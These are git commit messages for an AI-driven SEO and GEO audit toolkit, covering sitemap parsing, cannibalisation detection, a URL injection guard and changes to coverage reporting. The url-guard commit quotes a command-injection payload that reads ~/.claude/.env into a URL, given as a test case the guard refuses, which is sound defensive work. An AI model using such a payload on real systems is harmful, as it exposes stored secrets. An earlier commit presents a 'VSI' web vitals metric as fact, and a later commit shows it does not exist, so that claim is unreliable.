The inventory called this "no duplicate-content / cannibalisation detection".
Splitting that into its two halves shows one is free and the other is a trap.
CANNIBALISATION — free, and the data was already reachable. Search Analytics
has always accepted several dimensions at once ("no limit to the number of
dimensions that you can group by"); this engine only ever sent
`"dimensions": [dim]` and _norm_queries only ever read `keys[0]`. So
query+page — the pairing that exposes the conflict — was one parameter away
and nobody asked. Same shape of win as W1.
fetch.sh cannibal → queries where 2+ of OUR pages compete, ranked by total
impressions, strongest page first inside each. Same auth, same quota family,
no new scope. `capped` reports a full row window rather than presenting a
truncated list as exhaustive — same rule as COVERAGE and the sitemap caps.
Grouping happens in the engine, deterministically: asking an LLM to group
1000 rows by query is arithmetic it should never be handed.
Backward compatible: rows gained `keys` (the list the API actually returns);
`key` stays as keys[0], so the single-dim quick-wins consumer is untouched.
A test pins both.
30/70 DUPLICATION — deliberately NOT built, and this is the honest half.
Measuring it needs main-content extraction (strip nav/header/footer). Without
that, comparing two same-template pages returns ~95% similar for every site —
a confident false positive, which is exactly the failure class the rest of
this branch exists to remove. It stays an explicit LLM judgement over the >=3
same-family pages C1c now samples for it, labelled as judgement, never quoting
a similarity percentage nobody computed. A wrong number would be worse than
the current honest gap.
The two must not be merged in the report either: cannibalisation is a SERP
fact Google measured; 30/70 is a content question. The spec now says so.
Verified: fixture with 3 pages on one query, 2 on another, 1 on a third →
2 conflicts, correct ranking, single-page query excluded; live dispatch
degrades cleanly with no account; seo-data 110 -> 119 pass, 0 fail; full suite
green; shellcheck + py_compile clean.
opposite sample
I5 made COVERAGE mandatory and told the agent to "sample by risk, one per
template". Grounding that against a real Astro site shows the rule is half
wrong, and that one number was hiding two.
86 URLs collapse into 8 families; 75 of them (87%) come from 3 dynamic
[dept] templates. So the same 12 sampled pages are simultaneously 14% LIVE
coverage and ~100% SOURCE coverage. Reporting only 14% understates the audit;
reporting only 100% oversells it. Both lines now, in both agents — and they
bound different findings, so they must not be averaged:
SOURCE bounds CODE (one template renders its whole family: a missing
canonical in [dept]/index.astro breaks all 25 identically).
LIVE bounds CONTENT (title wording, thin pages, duplication — written per
page, so a template says nothing about its 25 instances).
The sharper half: "one per template" is CORRECT for code and WRONG for the
30/70 rule, which this same spec mandates at :954 (city pages: 30% shared,
70% unique). You cannot tell whether 25 dept pages are 70% unique by reading
one of them. The spec was mandating a check its own sampling made
structurally impossible. Sampling is now keyed to the finding class: 1 per
family for code, >=3 from the LARGEST family for duplication, spread for
per-page content.
Families come from the first path segment of the sitemap URLs (C1b) — a good
enough proxy for "same template" that needs no framework routing knowledge,
verified against the real distribution.
geo gets the same split, cut differently: JSON-LD lives in a shared layout so
SOURCE bounds Schema.org, while Definition Lead / TL;DR are written per page
so LIVE bounds Content Shape. Site-wide axes (crawler policy, llms.txt) stay
unbounded — single files, fully read.
Verified: full suite green. Caught and fixed one self-inflicted contradiction
before commit — geo's prose demanded both coverages while its output block
still had a single line.
I5 made a COVERAGE line mandatory in STEP 9 and told the agent to "count the
URLs in sitemap.xml" without giving it a command. STEP 4 only ever did
`curl … | head -50` — a preview, not a count. This closes that.
fetch.sh sitemap --url … → {count, urls[], index, dropped}. Stdlib only
(urllib + xml.etree + gzip): no auth, no Google, no venv, so it runs wherever
the mock/degrade paths run. Follows <sitemapindex> one level, dedupes, strips
whitespace, handles .xml.gz. Every cap REPORTS what it cut (children_skipped,
truncated) rather than truncating silently — same rule as COVERAGE itself.
PLAN CORRECTION: the proposal said the verb would "validate each URL via the
H1 guard". Wrong. urllib fetches these, so nothing here reaches a shell and
there is no injection surface to guard. The guard belongs at the point of
use, where seo-analyzer interpolates a URL into curl — which is the contract
the sameAs check already established. A second copy of url-guard here would
only drift from the first. The module carries a garbage filter, named as such.
SECURITY: the security-guidance hook asked for defusedxml. Taken seriously,
not obeyed — it would drag a venv into a module whose whole point is being
stdlib-only. Split the threat instead: xml.etree does NOT expand external
entities (XXE is not the vector), but it IS billion-laughs-vulnerable, and
the 20 MB read ceiling bounds the input, not the expansion. A sitemap NEVER
has a DTD — sitemaps.org is <?xml?> then <urlset xmlns=> — so any
doctype/entity is refused BEFORE parsing, with its own reason
(unsafe_xml_dtd, distinct from parse_failed: it is a finding, not a glitch).
Refusing the construct beats depending on parser internals. Fixture is a real
billion-laughs payload.
Verified against the live target, not just fixtures: zenquality's sitemap
returns count=86, dropped=0, matching `grep -c '<loc>'` on the raw XML
exactly. Dead URL → {"status":"degraded","reason":"fetch_failed"}, exit 0.
seo-data 95 -> 110 pass, 0 fail; full suite green; shellcheck + py_compile
clean.
Note: no config-edit sentinel was needed after all — config-protection guards
lib/tests, not lib/seo-data. I posted one, found it uncommitted-and-unconsumed
afterwards, and removed it rather than leave an open one-shot gate lying
around. Worth knowing: seo-data.test.sh is 110 assertions and is NOT covered
by that hook, while lib/tests/*.test.sh is.
Surfaced by dogfooding on a real Astro repo instead of reading the spec.
Claude Code installs a shell function routing `grep` to ugrep with
`--ignore-files`, so grep honours .gitignore and never descends into a
gitignored dist/. `find` honours nothing. seo-analyzer uses both.
Measured on zenquality (Astro, dist/ gitignored but built locally),
seo-analyzer.md:497 returned 92 images, 45 of them under dist/ — every asset
listed twice, source and generated copy, byte-identical. Two live
consequences:
- "top 20 by size" was ~10 real images dressed as 20.
- Batch C (`cwebp -q 80 <img> -o <img>.webp`) could target dist/og-image.png;
the .webp lands in dist/ and the `npm run build` the dispatcher runs to
VERIFY the fix erases it. Fix lands, verification passes, nothing survives,
report says applied.
lib/source-scope.sh separates source from build output, framework-aware.
`public/` is deliberately NOT excluded by default: it is Astro/Vite/Next
SOURCE and holds favicon.ico, apple-touch-icon.png and robots.txt — the very
files STEP 4 curls. It is build output only for Hugo/Gatsby, detected from
config (legacy config.toml alone is ambiguous, so it needs archetypes/ too).
Blanket-excluding it would blind the audit to its own resource checks.
findargs emits one token per line and MUST be consumed via a quoted array.
I shipped a flat-string version first and the dogfood caught it: the shell
globs */dist/* against the CWD and passes the matches to find as search
paths, which turned 90 hits into 135 and kept every dist/ file. Both the
header and a functional test now pin that.
Also: no bundle item may target build output, in either agent. That is the
real safety net — even if some future find leaks a dist path, the fix cannot
land there. Fix the source that generates the artifact; if the source cannot
be found, that is a finding, not a reason to patch the artifact.
SCOPE CORRECTION: the proposal claimed grep was auditing 86 generated files
instead of 9 templates. That was FALSE — the ugrep shim already skips them.
Killed my own premise before coding it; the real bug is narrower and lives in
find only. Do NOT "fix" the grep lines to match: they are already correct,
and adding these exclusions there would drop public/.
Verified: 90 -> 45 images on the real repo, 0 dist survivors, public/
preserved (favicon.ico still visible); 34 new assertions PASS / 0 FAIL; full
suite green; shellcheck clean. Test file addition used the documented
one-shot config-edit sentinel.
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.
The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.
Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.
Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).
NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.
Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.
Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.
Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
google_seo.py:129 read only indexStatusResult out of the URL Inspection
response and discarded the rest. richResultsResult was already on the wire:
same call, same OAuth scope (webmasters.readonly), same quota. Google's own
structured-data verdict on the live indexed URL was being downloaded and
binned.
Plan correction: the TODO said "richresults verb". Wrong — a new verb means
a second POST to the same endpoint for a payload already received, on a
per-site quota, and nobody wants rich results without index status. Extended
inspect() instead; fetch.sh unchanged, no new verb, no new scope.
Design driven by the published schema, not by guesswork — two details I
would have got wrong:
- richResultsResult is OMITTED when Google detects none ("absent if none
found"). Surfaced as synthetic verdict ABSENT rather than a missing key: a
caller cannot tell an absent key from a check that never ran. ABSENT means
"none detected", never "invalid". The KeyError path is the real risk here,
so it has its own fixture dir (fixtures-norich/) and its own tests.
- PARTIAL is "Reserved, unused" per the API docs. The draft emitted it. It
never emits it now, and a test asserts the absence.
issues[] deduped (the same issueMessage repeats across every affected item),
errors/warnings count instances — scale from the counter, cause from the
message.
seo-analyzer STEP 4 consumes it as the system's only programmatic JSON-LD
validation, bounded honestly: index:inspect is per-URL, quota'd, and needs a
verified property, so its reach is the STEP 9 COVERAGE ratio, not the site.
Replacing a fake validator with a fake coverage promise would be no better.
This is what beats claude-seo: their README's "dual validator (Rich Results
Test + Schema Markup Validator)" is two hyperlinks a human clicks — grep of
their .py finds zero calls. This is Google's verdict, via auth already held.
Note: the new dedupe assertion trips SC2015 (A && B || C), same as the
pre-existing line 27; ok() ends on an assignment so it cannot fail. Kept for
house-style consistency — lib/seo-data/*.sh is outside the lib/*.sh
shellcheck glob anyway.
Verified: seo-data 85 -> 95 pass, 0 fail; both paths exercised end-to-end
and output inspected by hand; make test 35 GREEN / 0 RED; py_compile clean.
Headers were scored three ways: seo-analyzer priced them into the Technical
axis at both depths (:619 FULL, :635 LOCAL), depth-matrix.md:29 said drop
them, and /harden re-audits them 0-100 against three external validators.
The dedup rule and the agent spec contradicted each other; the agent won by
default, so the same finding moved two scores in two reports.
Arbitrated (user): /harden keeps them, /seo drops them. That confirms the
rule that already existed — seo-analyzer was the violator.
Constraint: /harden REUSES seo-analyzer, so the capability cannot be
deleted, only scoped. Reading is not scoring:
- Technical axis definitions no longer name security headers.
- STEP 4 still curls them — needed for X-Robots-Tag, canonical/redirect
coherence, and the §14 observed-list — but they earn no points under /seo.
- Dispatched from /harden: unchanged, headers ARE the job (verified: its
scope spec untouched, 16 header references intact).
Carve-out: X-Robots-Tag stays in /seo under indexability. It is an indexing
directive wearing a header's clothes — `noindex` there deindexes as surely
as a meta robots tag. That is what depth-matrix.md:29 means by "unless it
directly affects indexability"; the security headers do not.
Drop is not silence: mandatory §14 line on FULL naming what was observed
live plus a "run /harden <url>" pointer. A user who never runs /harden must
not read a clean Technical score as clean headers — same principle as the
mandatory COVERAGE line (I5).
Verified: make test 35 GREEN / 0 RED.
Both agents sample (seo-analyzer.md:403 "sample 5-15 key pages",
geo-analyzer.md:460 "Sample 5-10 key pages") and neither states it. The
report says "audit". On a 500-page site a 12-page sample is 2.4%, and the
reader cannot know that unless it is printed. /client-handover gates on
these scores.
The denominator was already within reach: STEP 4 fetches sitemap.xml. Count
its URLs and the coverage ratio is free — same data C1 will use for
sitemap-driven crawl later.
- Mandatory COVERAGE line in both scoring blocks: N of M sitemap URLs (P%),
or "total UNKNOWN" when no sitemap. Never omitted, never rounded up.
- seo: <25% coverage repeats in §0 as a major alert. Sample by risk (one
page per template + GSC position 4-10 quick wins), name skipped templates
— an un-sampled template is an un-audited template.
- geo: scoped honestly rather than blanket — COVERAGE bounds the per-page
axes (Content Shape, page-level Schema.org) but NOT the site-wide ones
(AI Crawlers Policy, llms.txt are single files, fully read). One ratio
should not discredit axes it does not govern.
Verified: make test 35 GREEN / 0 RED.
seo-analyzer.md:278 listed "VSI (Visual Stability Index) — new 2026 signal,
Google Core Web Vitals 2.0" as a threshold, stated as fact, no hedge, in
client-facing audits. It does not exist.
Verified against two primary sources:
- developer.chrome.com/docs/crux/api — complete metric list carries no
visual_stability_index. Blogs claimed "Google is actively collecting VSI
through CrUX": flatly false.
- web.dev/articles/vitals — three stable CWV (LCP, INP, CLS). No VSI, no
"Core Web Vitals 2.0". Thresholds change with prior notice on an annual
cadence.
Ten SEO blogs cross-cited each other into an apparent consensus. WebSearch
returns that consensus, which is why the resources README rule "agents MUST
cross-check via WebSearch on FULL" did not catch it — that mitigation
launders blog misinformation into apparent verification.
Fix removes the metric and states the sourcing rule where a future rumour
would land: primary sources only (web.dev / Chromium blog / CrUX API list,
the last being decisive — a metric CrUX cannot return is one we cannot
score). Incident documented inline so it is not re-added.
Verified: make test 35 GREEN / 0 RED.
Surfaced by pointing /harden at zenquality.fr from the claude-config CWD.
A1 — no CWD/target coherence guard (systemic: /seo, /geo, /harden all
lack it; grep confirms). A URL is supplied, the agent greps whatever CWD
it landed in, nobody checks they are the same site. Demonstrated live:
from claude-config, /harden would curl zenquality.fr while grepping
claude-config, then score "Config hardening" on a codebase that is not the
site. The live half looks right, the code half is fiction, and the report
reads as authoritative.
Fixed in both agents' STEP 2 rather than the 3 dispatchers: the agent does
the grepping, so the guard binds whoever calls — same principle as I3.
/harden inherits it free.
A2 — seo-analyzer had zero origin-vs-edge awareness while geo-analyzer
has the full CDN/WAF-override check (geo-analyzer.md:246-261). seo-analyzer
does the infra detection AND is reused by /harden for its whole
config-hardening axis (20/100). On zenquality — Apache origin behind a
Scaleway nginx front — repo .htaccess + `server: nginx` invites the wrong
call "nginx serves this, .htaccess is dead". I made that exact inference
myself before reading the file. Rule added at STEP 2 infra detection:
`server:` names the edge, not the origin; live-but-not-in-repo = "set
upstream", never "missing".
Verified: live probe of zenquality.fr (read-only, nothing written to the
client repo); make test 35 GREEN / 0 RED.
Axis was defined "backlinks, mentions, authority" (10% local / 15%
national of the FULL score) but only mentions have a data source
(STEP 6 web_search "<name>" -site:<domain>). Backlinks and authority
have no index, no API — the agent had to invent 2/3 of the number, and
that number reaches a client via /client-handover.
- Axis label names what is measured + points at §14.
- Off-page axis note: score mentions ONLY; never price in unmeasured
sub-components; a low mention count is NOT evidence of a weak backlink
profile. Mandatory verbatim §14 line naming the gap + the nearest free
source (Common Crawl) so the omission is legible, not silent.
- LOCAL N/A label: was `N/A — requires FULL audit`, a promise FULL cannot
keep for backlinks. Now states FULL covers brand mentions only.
Weights deliberately unchanged: re-deriving now and again when a backlink
source lands would churn historical scores twice. Revisit when the axis
widens back (Common Crawl, phase 5).
Note: initial plan was to mark the axis N/A in FULL and redistribute the
weight. Reading the real spec (seo-analyzer.md:622 + STEP 6) showed that
over-corrects — it discards the mentions data, which IS gathered. Narrowed
the definition instead; composes with the Common Crawl work later.
Verified: make test 35 GREEN / 0 RED.
- STEP 0 collects user-confirmed CANONICAL NAP (LRN-032 zenquality:
duplicated-seed trap — source majority is not truth)
- Both dispatch prompts carry the canonical NAP + no-majority rule;
seo-analyzer spec forbids directional NAP fix without confirmation
- STEP 2 now emits .claude/audits/HUMAN-ACTIONS.md (checklist from §11)
and NAP-KIT.md (local business) in BOTH modes — audit-only runs leave
the user immediately actionable; /client-handover §4 consumes NAP-KIT
Both line-3 descriptions contained an unquoted ': ' (and '|') that fails
python3 yaml.safe_load ('mapping values are not allowed here'). seo-analyzer's
line was last rewritten by job9/a5a7b54 AFTER job2's F7 strict-YAML rule
(git blame); security-auditor's dates to job6. Single-quote wrap, no internal
apostrophes. Gate: yaml.safe_load over ALL agents/*.md now clean. Review A4.
Before: SEO.md, GEO.md, HARDEN.md, VALIDATE.md, BUGS-FOUND.md landed
at project root. After: all five go to .claude/audits/. Covers both
dispatcher write paths and the dispatcher bash commands that parse
each report (test -s, grep score, wc) — otherwise the dispatcher
would look for the file at the old location.
- skills/seo,geo,harden,validate,code-clean — write paths + console
summaries ("Report: .claude/audits/X.md")
- skills/harden,validate — bash parsing commands (test/grep/wc) aligned
- agents/seo-analyzer,validator-analyzer,code-cleaner — agent-side refs
- agents/validator-analyzer frontmatter description updated
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Post-review hardening of the parallel seo+geo dispatch:
- skills/seo/SKILL.md: shared-file edit discipline embedded in both dispatch prompts (Edit-only on shared templates, Write only on sole-owned files). CROSS-AGENT NOTES flow clarified — dispatcher escalates to SEO.md §11 as user action with automation options (Option B).
- agents/seo-analyzer.md: STEP 2 detects 8 CMS (WordPress/Drupal/Magento/Shopify/Joomla/PrestaShop/Ghost/Wix-Squarespace-Webflow) and presence of SEO plugins. STEP 10 emits P0 quick win "install CMS plugin" when CMS detected without plugin. STEP 5 expands topic clusters / silos sémantiques. Framework notes in STEP 12 cover all 8 CMS explicitly.
- agents/geo-analyzer.md: STEP 6 checks /faq path + FAQPage schema presence. STEP 11 mandates 3 AI-index user actions per FULL audit (Bing Webmaster Tools / GSC / IndexNow) + Apple Business Connect for local business.
- agents/resources/automation-catalog.md: new structured CMS plugin section (install links + pricing per platform). AI-index submission section rewritten with Bing Webmaster as canonical entry for ChatGPT Search/Copilot/DuckDuckGo, IndexNow protocol details, Brave Web Discovery, Apple Business Connect.
- agents/resources/llms-txt-template.md: explicit note that /ai.txt and /about-data are NOT real standards; llms.txt (Jeremy Howard) remains the only proposed one.
Rationale: third-party AI review of the skill surfaced 5 gaps — race condition on shared templates (Layout.astro holds meta + JSON-LD), ambiguous cross-agent flow, missing CMS-plugin-first logic (Gemini), under-exposed Bing Webmaster (ChatGPT Search channel), and minor accuracy items.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Refactor the monolithic seo-analyzer into two specialist agents
orchestrated in parallel by the /seo skill, plus a standalone /geo
skill for AI-only audits.
Changes
- agents/seo-analyzer.md: refocused on classical engines (Google, Bing,
DuckDuckGo). Adds Core Web Vitals 2.0 (LCP/INP/CLS + VSI), CSP + full
security headers, hreflang audit, video SEO (transcripts), accessibility
as ranking signal, image/video sitemaps.
- agents/geo-analyzer.md: new agent for AI engines (ChatGPT, Claude,
Perplexity, Gemini, Google AI Overviews, Copilot). Covers AI crawler
policy, llms.txt/llms-full.txt, Schema.org for AI extraction (QAPage,
Speakable, Person+Article, Organization graph), entity SEO (Wikidata,
sameAs, Knowledge Panel), content shape (Definition Lead, TL;DR,
Q->A, citable stats, freshness), AI visibility testing.
- agents/resources/: shared knowledge base referenced by both agents —
ai-crawlers-2026.md (25+ bots, training vs retrieval categories,
permissive/restrictive templates), llms-txt-template.md, geo-schemas.md
(incl. deprecated list: ClaimReview, CourseInfo, etc. removed June 2025),
entity-seo.md, content-shape-for-ai.md, ai-visibility-tools.md,
automation-catalog.md.
- skills/seo/SKILL.md: becomes parallel dispatcher. Collects context
once (depth + business), spawns both agents in a single message for
concurrent execution, merges envelopes into unified SEO.md. Includes
authoritative file-ownership matrix to prevent parallel-edit races.
- skills/geo/SKILL.md: new standalone wrapper for GEO-only audits.
Scoring
- Combined score: GLOBAL = 0.80 * SEO + 0.20 * GEO (local B2C),
0.75 * SEO + 0.25 * GEO (SaaS/national/content).
- GEO axis weight raised from 5% (old) to first-class dimension.
Policy
- AI crawlers: permissive default (maximise AI citations). Restrictive
template available for premium/regulated content.
- Every user action in SEO.md section 11 must cite automation options
from automation-catalog.md.
Tools
- WebFetch + WebSearch added to allowed-tools of both skills and
both agents (needed for live CWV via PageSpeed API, AI visibility
testing, Wikidata/Knowledge Panel lookups, competitor analysis).
Research basis (2026 state of the art validated via WebSearch):
- Core Web Vitals 2.0 (VSI signal, Google core update March 2026)
- AI Overviews trigger on ~48% of Google searches
- ClaimReview + 6 other schema types deprecated June 2025
- Definition Lead Architecture (CMU KDD 2024, +impression score)
- Citations + stats add up to 40% AI visibility (Aggarwal 2024)
- Wikidata grounds every major LLM (ChatGPT, Claude, Gemini, Perplexity)
Backup
- agents/seo-analyzer.md.bak kept for rollback reference.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Complete rewrite of the SEO/GEO audit agent (317 → 868 lines):
- Two audit depths: LOCAL (code-only, 4 scored axes) and FULL (live site +
external presence + competitors, 8 scored axes). Same rigor, user chooses.
- Plugin-advisor invoked at STEP 3 (after stack detection), not upfront.
Only triggered for FULL depth. Offers downgrade to LOCAL if tools missing.
- Sub-agent orchestration: findings triaged into 6 batches (A-F), delegated
to hotfixer (1-2 file fixes), feater (multi-file features), or direct Bash
(image pipeline). No more raw edits from the orchestrator.
- New audit scopes: live HTTP audit, external presence (GMB, social, citations,
NAP consistency), competitive analysis, legal compliance FR (LCEN, RGPD,
DGCCRF), GEO/AI readiness (FAQPage, E-E-A-T, AI engine visibility).
- Scored report (/20 per axis, weighted by business type) with prioritized
action plan (quick wins / medium / long term).
- SEO.md versioned document (15 sections, iterative updates, audit history).
- Landing page protection rule, confirmation gates for structural changes.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Skills now delegate to agent .md files instead of embedding logic
inline. Added new agents (bugfixer, code-cleaner, commit-changer,
doc-syncer, feater, hotfixer, seo-analyzer) and new skills
(code-clean, doc, seo). Replaced /readme with /doc (broader scope).
Co-Authored-By: Claude <noreply@anthropic.com>
Bastien Chanot